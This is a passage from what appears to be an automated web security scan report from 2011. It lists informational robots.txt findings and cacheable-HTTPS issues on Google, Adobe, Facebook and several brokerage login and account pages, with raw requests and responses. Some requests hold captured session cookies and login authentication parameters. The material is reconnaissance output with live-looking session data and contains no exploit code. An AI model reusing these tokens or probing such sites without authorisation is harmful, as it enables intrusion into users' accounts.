GET /robots.txt HTTP/1.0
Host: toolbarqueries.clients.google.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Tue, 06 Sep 2011 05:52:07 GMT
Date: Thu, 08 Sep 2011 19:45:20 GMT
Expires: Thu, 08 Sep 2011 19:45:20 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

23.27. http://translate.google.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://translate.google.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: translate.google.com

Response

HTTP/1.0 200 OK
Date: Thu, 08 Sep 2011 19:46:42 GMT
Expires: Thu, 08 Sep 2011 19:46:42 GMT
Cache-Control: public, max-age=0
Content-Type: text/plain; charset=ISO-8859-1
X-Content-Type-Options: nosniff
Server: HTTP server (unknown)
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /?q=
Disallow: /?text=
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
D
...[SNIP]...

23.28. http://translate.googleapis.com/translate_a/l previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://translate.googleapis.com
Path:	/translate_a/l

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: translate.googleapis.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Thu, 25 Mar 2010 09:42:43 GMT
Date: Thu, 08 Sep 2011 19:25:10 GMT
Expires: Thu, 08 Sep 2011 19:25:10 GMT
Cache-Control: private, max-age=0
Set-Cookie: PREF=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=translate.googleapis.com
Set-Cookie: PREF=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=.translate.googleapis.com
Set-Cookie: PREF=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=googleapis.com
Set-Cookie: PREF=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=.googleapis.com
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

23.29. http://webcache.googleusercontent.com/search previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://webcache.googleusercontent.com
Path:	/search

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: webcache.googleusercontent.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Tue, 06 Sep 2011 05:52:07 GMT
Date: Thu, 08 Sep 2011 19:46:47 GMT
Expires: Thu, 08 Sep 2011 19:46:47 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

23.30. http://www.adobe.com/shockwave/download/download.cgi previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.adobe.com
Path:	/shockwave/download/download.cgi

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.adobe.com

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Fri, 13 May 2011 19:57:27 GMT
ETag: "555-b71057c0"
Accept-Ranges: bytes
Cache-Control: max-age=900
Expires: Thu, 08 Sep 2011 17:14:02 GMT
Keep-Alive: timeout=5, max=500
Content-Type: text/plain
Connection: close
Date: Thu, 08 Sep 2011 19:46:59 GMT
Age: 225
Content-Length: 1365

#
# This file is used to allow crawlers to index our site.
#
# List of all web robots: http://www.robotstxt.org/wc/active/html/index.html
#
# Check robots.txt at:
# http://www.searchengineworld.com/c
...[SNIP]...

23.31. https://www.barchart.com/register/realtime/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.barchart.com
Path:	/register/realtime/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.barchart.com

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:38:46 GMT
Server: Apache/2.2.9 (Fedora) PHP/5.2.6
Last-Modified: Thu, 25 Aug 2011 17:34:14 GMT
ETag: "37-4ab57d6609180"
Accept-Ranges: bytes
Content-Length: 55
Content-Type: text/plain; charset=UTF-8
Content-Language: en
Via: 1.0 www.barchart.com (Apache/2.2.9)
Connection: close

# Allow all for barchart.com

User-agent: *
Allow: /

23.32. http://www.facebook.com/sharer.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/sharer.php

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.facebook.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain;charset=utf-8
X-FB-Server: 10.54.236.40
Connection: close
Content-Length: 2553

# Notice: if you would like to crawl Facebook you can
# contact us here: http://www.facebook.com/apps/site_scraping_tos.php
# to apply for white listing. Our general terms are available
# at http://ww
...[SNIP]...

23.33. http://www.farrdirect.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.farrdirect.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.farrdirect.com

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:57 GMT
Server: Apache/2.0.52 (Red Hat)
Last-Modified: Wed, 30 Sep 2009 00:05:43 GMT
ETag: "1d4263e-da-4ab8a3c0"
Accept-Ranges: bytes
Content-Length: 218
Connection: close
Content-Type: text/plain

User-agent: *
Disallow: /missing.html
Disallow: /missing.htm
Disallow: /postinfo.html
Disallow: /cgi-bin/
Diasllow: /DavidRequestforms.html
Disallow: /ufspec/
Disallow: /test69/
Disallow: /test692/
Di
...[SNIP]...

23.34. http://www.futurestrading.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.futurestrading.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.futurestrading.com

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:25:08 GMT
Server: Apache mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Last-Modified: Sat, 10 Jan 2009 02:53:35 GMT
ETag: "7630f5f-130-46017facb89c0"
Accept-Ranges: bytes
Content-Length: 304
Connection: close
Content-Type: text/plain

User-agent: *
Disallow: /administrator/
Disallow: /cache/
Disallow: /components/
Disallow: /images/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /libraries/
Disallow: /
...[SNIP]...

23.35. http://www.globalfutures.com/index.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.globalfutures.com
Path:	/index.asp

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.globalfutures.com

Response

HTTP/1.1 200 OK
Content-Type: text/plain
Last-Modified: Fri, 25 Jul 2008 00:25:54 GMT
Accept-Ranges: bytes
ETag: "1000ededc81:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:25:41 GMT
Connection: close
Content-Length: 267

User-agent: Googlebot
Disallow: /*/feed/$
Disallow: /*/feed/rss/$
Disallow: /*/trackback/$
User-agent: *
Disallow: /wp-
Disallow: /feed/
Disallow: /trackback/
Disallow: /rss/
Disallow: /comme
...[SNIP]...

23.36. http://www.google-analytics.com/__utm.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google-analytics.com
Path:	/__utm.gif

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.google-analytics.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Mon, 10 Jan 2011 11:53:04 GMT
Date: Thu, 08 Sep 2011 19:24:48 GMT
Expires: Thu, 08 Sep 2011 19:24:48 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /siteopt.js
Disallow: /config.js

23.37. http://www.google.com/search previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/search

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.google.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Tue, 06 Sep 2011 05:52:07 GMT
Date: Thu, 08 Sep 2011 19:47:22 GMT
Expires: Thu, 08 Sep 2011 19:47:22 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

23.38. https://www.google.com/calendar previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.google.com
Path:	/calendar

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.google.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Tue, 06 Sep 2011 05:52:07 GMT
Date: Thu, 08 Sep 2011 19:45:18 GMT
Expires: Thu, 08 Sep 2011 19:45:18 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

23.39. http://www.googleadservices.com/pagead/aclk previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.googleadservices.com
Path:	/pagead/aclk

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.googleadservices.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Tue, 06 Sep 2011 05:52:07 GMT
Date: Thu, 08 Sep 2011 19:24:38 GMT
Expires: Thu, 08 Sep 2011 19:24:38 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

23.40. http://www.invest-store.com/commoditybooks/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.invest-store.com
Path:	/commoditybooks/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.invest-store.com

Response

HTTP/1.1 200 OK
Content-Length: 53
Content-Type: text/plain
Last-Modified: Wed, 10 Sep 2008 18:32:58 GMT
Accept-Ranges: bytes
ETag: "0a9c3a57313c91:9c8"
Server: Microsoft-IIS/6.0
p3p: policyref="/w3c/p3p.xml", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 20:00:06 GMT
Connection: close

User-agent: *
Disallow: /cgi-bin/
Disallow: /images/

23.41. http://www.optioneducation.net/select/direct_login.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optioneducation.net
Path:	/select/direct_login.asp

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.optioneducation.net

Response

HTTP/1.1 200 OK
Content-Length: 62
Content-Type: text/plain
Last-Modified: Mon, 24 Nov 2008 16:49:32 GMT
Accept-Ranges: bytes
ETag: "076ae9f544ec91:1365"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:45:18 GMT
Connection: close

# Standard robots.txt allows all

User-agent: *
Disallow:

23.42. http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/promos/experience_an_options_specialist.aspx

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.optionsxpress.com

Response

HTTP/1.1 200 OK
Content-Length: 189
Content-Type: text/plain
Last-Modified: Fri, 26 Mar 2010 18:59:38 GMT
Accept-Ranges: bytes
ETag: "60959d7b16cdca1:11f7"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=54A695204220A92D459888913F468D64; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:39 GMT
Connection: close

User-agent: *
Allow: /

User-Agent: gsa-crawler
Allow: /
Disallow: /bin/
Disallow: /AccountService/
Disallow: /free_ox_education/

Sitemap: http://www.optionsxpress.com/sitemap.xml

23.43. https://www.optionsxpress.com/new_account.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.optionsxpress.com
Path:	/new_account.asp

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.optionsxpress.com

Response

HTTP/1.1 200 OK
Content-Length: 108
Content-Type: text/plain
Last-Modified: Tue, 02 Mar 2010 21:23:35 GMT
Accept-Ranges: bytes
ETag: "de294d9e4ebaca1:20f9"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:25:17 GMT
Connection: close

User-agent: *
Disallow: /

User-Agent: gsa-crawler
Allow: /
Disallow: /bin/
Disallow: /AccountService/

23.44. https://www.optionsxpress.com.au/new_account.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.optionsxpress.com.au
Path:	/new_account.asp

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.optionsxpress.com.au

Response

HTTP/1.0 200 OK
Content-Length: 278
Content-Type: text/plain
Last-Modified: Thu, 29 Oct 2009 13:36:46 GMT
Accept-Ranges: bytes
ETag: "e04ddadb9c58ca1:1bc0"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:47:00 GMT
Connection: close

User-Agent: *
Disallow: /downloads/
Disallow: /email/
Disallow: /inc/
Disallow: /styleguide/
Disallow: /oxwbroker/
Disallow: /oxnetaccnt/
Disallow: /oxnetbroker/
Disallow: /oxnettools/
Disall
...[SNIP]...

23.45. https://www.pfgboss.com/Default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.pfgboss.com
Path:	/Default.aspx

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.pfgboss.com

Response

HTTP/1.1 200 OK
Content-Length: 28
Content-Type: text/plain
Last-Modified: Mon, 18 Jun 2007 17:49:25 GMT
Accept-Ranges: bytes
ETag: "623be22d1b1c71:35c0"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:47:46 GMT
Connection: close

User-agent: *
Disallow: /

23.46. http://www.thefinancials.com/syndicated/DTS/DTSs_Commodities.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.thefinancials.com
Path:	/syndicated/DTS/DTSs_Commodities.js

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.thefinancials.com

Response

HTTP/1.1 200 OK
Content-Length: 32
Content-Type: text/plain
Last-Modified: Wed, 23 Aug 2006 19:04:55 GMT
Accept-Ranges: bytes
ETag: "0f22d5e7c6c61:790"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:25:08 GMT
Connection: close

User-agent: *
Disallow: /dev/

23.47. http://www.usda.gov/wps/portal/!ut/p/_s.7_0_A/7_0_1OB previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.usda.gov
Path:	/wps/portal/!ut/p/_s.7_0_A/7_0_1OB

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.usda.gov

Response

HTTP/1.0 200 OK
Server: IBM_HTTP_Server
Last-Modified: Wed, 26 Jan 2011 20:58:44 GMT
ETag: "138110-8b-1935c900"
Accept-Ranges: bytes
Content-Length: 139
Content-Type: text/plain
Expires: Thu, 08 Sep 2011 19:45:21 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 08 Sep 2011 19:45:21 GMT
Connection: close

User-agent: gsa-crawler
Disallow:

User-agent: Googlebot
Disallow:

User-agent: msnbot
Crawl-delay: 10

User-agent: Slurp
Crawl-delay: 10

23.48. http://www.viddler.com/player/cc4ac375/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.viddler.com
Path:	/player/cc4ac375/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.viddler.com

Response

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 08 Sep 2011 19:54:02 GMT
Content-Type: text/plain
Connection: close
Last-Modified: Mon, 11 Oct 2010 13:24:54 GMT
ETag: "780767-23-492574927d580"
Accept-Ranges: bytes
Content-Length: 35
Vary: Accept-Encoding

User-Agent: *
Disallow: /search/?

23.49. http://www.youtube.com/results previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/results

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.youtube.com

Response

HTTP/1.0 200 OK
Date: Thu, 08 Sep 2011 19:46:54 GMT
Server: Apache
Last-Modified: Fri, 11 Feb 2011 19:31:59 GMT
ETag: "21b-49c06c06dc9c0"
Accept-Ranges: bytes
Content-Length: 539
Vary: Accept-Encoding
Content-Type: text/plain

# robots.txt file for YouTube
# Created in the distant future (the year 2000) after
# the robotic uprising of the mid 90's which wiped out all humans.

User-agent: Mediapartners-Google*
Disallow:

Use
...[SNIP]...

23.50. http://www.zumo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.zumo.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.zumo.com

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:49 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Wed, 16 Feb 2011 21:07:36 GMT
ETag: "2b5838-13f-49c6cab965600"
Accept-Ranges: bytes
Content-Length: 319
Connection: close
Content-Type: text/plain; charset=UTF-8

User-agent: *
Disallow: /administrator/
Disallow: /cache/
Disallow: /components/
Disallow: /images/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /libraries/
Di
...[SNIP]...

24. Cacheable HTTPS response previous next
There are 15 instances of this issue:

https://account.optionsxpress.com/OpenAccount/Index
https://cwt1.interactivebrokers.com/MT3G/servlet/LoginS
https://cwt1.interactivebrokers.com/webtrader2/servlet/login
https://seal.verisign.com/getseal
https://www.barchart.com/register/realtime/
https://www.cqgtrader.com/Languages/USEng/oldBrowser.asp
https://www.efutures.com/cgi-bin/open_account.pl
https://www.efutures.com/favicon.ico
https://www.interactivebrokers.com/Universal/servlet/com.ib.xyztags.AuthHandler2
https://www.interactivebrokers.com/sso/Authenticator
https://www.optionsxpress.com/downloads/riskstoc.pdf
https://www.optionsxpress.com/welcome.asp
https://www.pfgboss.com/Default.aspx
https://www.secureclient5.ranweb.com/login/login.asp
https://www.secureclient5.ranweb.com/login/ranweb.asp

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Cache-control: no-store
Pragma: no-cache

24.1. https://account.optionsxpress.com/OpenAccount/Index previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Index

Request

Response

24.2. https://cwt1.interactivebrokers.com/MT3G/servlet/LoginS previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://cwt1.interactivebrokers.com
Path:	/MT3G/servlet/LoginS

Request

Response

24.3. https://cwt1.interactivebrokers.com/webtrader2/servlet/login previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://cwt1.interactivebrokers.com
Path:	/webtrader2/servlet/login

Request

Response

24.4. https://seal.verisign.com/getseal previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://seal.verisign.com
Path:	/getseal

Request

GET /getseal HTTP/1.1
Host: seal.verisign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: max-age=0, must-revalidate
ETag:
Content-Type: text/javascript
Date: Thu, 08 Sep 2011 19:47:19 GMT
Connection: close

24.5. https://www.barchart.com/register/realtime/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.barchart.com
Path:	/register/realtime/

Request

Response

24.6. https://www.cqgtrader.com/Languages/USEng/oldBrowser.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cqgtrader.com
Path:	/Languages/USEng/oldBrowser.asp

Request

GET /Languages/USEng/oldBrowser.asp HTTP/1.1
Host: www.cqgtrader.com
Connection: keep-alive
Referer: https://www.cqgtrader.com/Languages/USEng/main.asp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PrivateLabel=WebSite=CQG+Web+Trader&CustPhone=720%2D904%2D2980; ClientState=OSDeletionOccured=0&LocalAccounts=False&Disconnected=False&OSLastUpdate=0&LoggedOn=False&attempt=0&Language=USEng&EP=cqg&StyleSheet=%2FLanguages%2FUSEng%2FPrvLbl%2Fcqg%2Fstylesheet%2Ecss&SQLSID=&IsLoggedOn=False&PrvLbl=cqg&TraderID=

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:38:28 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON DSP CURa ADMa DEVa OUR IND CNT PRE"
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
Content-Length: 664
Content-Type: text/html
Cache-control: private

<HTML>
<HEAD>

<META HTTP-EQUIV="content-type" CONTENT="text/html; charset=utf-8">
<TITLE>Browser Requirements</TITLE>
</HEAD>
<
...[SNIP]...

24.7. https://www.efutures.com/cgi-bin/open_account.pl previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.efutures.com
Path:	/cgi-bin/open_account.pl

Request

GET /cgi-bin/open_account.pl HTTP/1.1
Host: www.efutures.com
Connection: keep-alive
Referer: http://www.efutures.com/account/submitapp.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Efutures=47a42fa17f407fb514b047c2a077e9e5; __utma=212738496.1761536259.1315527925.1315527925.1315527925.1; __utmb=212738496.7.10.1315527925; __utmc=212738496; __utmz=212738496.1315527925.1.1.utmgclid=CN_fipqwjqsCFUsaQgodfyAdwQ|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=futures%20trading

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:42:53 GMT
Server: Apache/2.0.52 (Red Hat)
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 6889

<HTML LANG="en">
<HEAD>
<TITLE>Efutures Account Application</TITLE>
<STYLE TYPE="text/css">
body {
color : #0C1E2C;
background : white;
font-family : "verdana", "arial", sans-serif;
font-size : 10
...[SNIP]...

24.8. https://www.efutures.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.efutures.com
Path:	/favicon.ico

Request

GET /favicon.ico HTTP/1.1
Host: www.efutures.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Efutures=47a42fa17f407fb514b047c2a077e9e5; __utma=212738496.1761536259.1315527925.1315527925.1315527925.1; __utmb=212738496.7.10.1315527925; __utmc=212738496; __utmz=212738496.1315527925.1.1.utmgclid=CN_fipqwjqsCFUsaQgodfyAdwQ|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=futures%20trading

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:42:54 GMT
Server: Apache/2.0.52 (Red Hat)
Last-Modified: Sun, 09 Mar 2008 10:07:41 GMT
ETag: "114442d-74ae-41f9d540"
Accept-Ranges: bytes
Content-Length: 29870
Connection: close
Content-Type: text/plain; charset=UTF-8

......@@......(2..v...00...........2.. ..........FO..........H....[..........h...6c.. ...........f..........h...Fo..(...@................2...................................................c..Z..s..
...[SNIP]...

24.9. https://www.interactivebrokers.com/Universal/servlet/com.ib.xyztags.AuthHandler2 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.interactivebrokers.com
Path:	/Universal/servlet/com.ib.xyztags.AuthHandler2

Request

POST /Universal/servlet/com.ib.xyztags.AuthHandler2?97609 HTTP/1.1
Host: www.interactivebrokers.com
Connection: keep-alive
Referer: https://www.interactivebrokers.com/Universal/servlet/AccountAccess.Login?forwardTo=3
Content-Length: 157
Origin: https://www.interactivebrokers.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C4608092FEF513300BFDC6236E81E872.www3; ib=googlead; web=1059282; XYZAB_AM.LOGIN=; XYZAB=; URL_PARAM=actiongetProps=getProps&language=en&propFile=SSO_Login_v1

ACTION=INIT&USER=zaa&ACCT=&A=c2e7473d0e284fc348c30a721b684d68ad169cb3ba2316f830b999067aabb6cb7663c0dc4776c6a1a84db0440a08e317d1fa875f5a47d3d63a9db633296c62d7

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:58:50 GMT
Server: Apache
Content-Length: 407
Connection: close
Content-Type: text/xml

<ib_auth_res>
<ini_params>
<user>true</user>
<hash>SHA-1</hash>
<N>d4c7f8a2b32c11b8fba9581ec4ba4f1b04215642ef7355e37c0fc0443ef756ea2c6b8eeb755a1c723027663caa265ef785b8ff6a9b35227a52d86633dbdfca43</N>

...[SNIP]...

24.10. https://www.interactivebrokers.com/sso/Authenticator previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.interactivebrokers.com
Path:	/sso/Authenticator

Request

POST /sso/Authenticator?65697 HTTP/1.1
Host: www.interactivebrokers.com
Connection: keep-alive
Referer: https://www.interactivebrokers.com/sso/Login
Content-Length: 157
Origin: https://www.interactivebrokers.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=B63C36F91C020C4B017188CC1EF896E3.wwwsso3; ib=googlead; web=1059282; XYZAB_AM.LOGIN=; XYZAB=; URL_PARAM=actiongetProps=getProps&language=en&propFile=SSO_Login_v1

ACTION=INIT&USER=xss&ACCT=&A=b378a235ccb5424b8cf1a736fa019ccc3f342f68bd0de38a1c6b896d5b3b7d0156ca769e3b20e583bfec25ae75c89a962f8a8d31cb76a2fd21d360183dd36fd1

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:53:06 GMT
Server: Apache
Content-Length: 695
Connection: close
Content-Type: text/xml

<ib_auth_res>
<ini_params>
<user>true</user>
<hash>SHA-1</hash>
<N>d4c7f8a2b32c11b8fba9581ec4ba4f1b04215642ef7355e37c0fc0443ef756ea2c6b8eeb755a1c723027663caa265ef785b8ff6a9b35227a52d86633dbdfca43</N>

...[SNIP]...

